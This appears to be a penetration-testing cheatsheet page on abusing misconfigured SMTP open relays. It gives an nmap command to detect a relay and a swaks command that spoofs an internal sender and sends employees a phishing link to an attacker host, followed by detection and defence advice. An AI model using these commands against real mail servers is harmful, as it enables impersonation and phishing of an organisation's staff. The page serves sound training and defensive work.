the_open_door
coffee
ESEN
← Back to index

SMTP open relay

Full command arsenal in the cheatsheet

An open relay is a misconfigured SMTP server that accepts and forwards mail from any source to any destination without authentication. Such a server lets us send messages that appear to come from the company's own domain, masking the true origin. For an attacker it is a powerful phishing lever: if the organization notifies its employees from a known address, we can spoof that address and slip in a malicious link with the full appearance of a legitimate internal notice.

Mechanism

First we confirm that port 25 (or other mail ports) allows open relaying with the Nmap smtp-open-relay script, which tries several sender and recipient combinations:

nmap -p25 -Pn --script smtp-open-relay <ip>
PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-open-relay: Server is an open relay (14/16 tests)

With the relay confirmed, we send the spoofed mail with swaks, which builds the whole SMTP conversation for us. --from is the address we want to spoof and --to the internal victim:

swaks --from notifications@<domain> --to employee@<domain> \
  --header 'Subject: Company Notification' \
  --body 'Complete this survey: http://<attacker>/phish' \
  --server <ip>

The server accepts the MAIL FROM and RCPT TO without asking for credentials and delivers the message as if it came from inside:

 -> MAIL FROM:<notifications@example.com>
<-  250 OK
 -> RCPT TO:<employee@example.com>
<-  250 OK
<-  250 OK

Requirements

A reachable SMTP server that accepts relaying without authentication (a classic misconfiguration on self-hosted mail servers; cloud providers such as Microsoft 365 or Google Workspace usually are not). No username or password is needed. It pairs well with prior enumeration of valid recipients via VRFY/EXPN/RCPT.

How to detect it. The abuse is given away by mail whose MAIL FROM is the local domain but whose source IP is external, sending spikes from unauthorized addresses, and the smtp-open-relay script result itself in a scan. On the receiving side, SPF/DKIM/DMARC failures on messages claiming to come from the internal domain are the key signal.

Defence. Configure the server to require authentication on submission and restrict relaying to trusted networks and users; publish and enforce SPF, DKIM and DMARC so spoofed mail is rejected; and monitor relay volume. It builds on SMTP user enumeration and IMAP/POP3 enumeration, and usually precedes password spraying or credential reuse with whatever is obtained.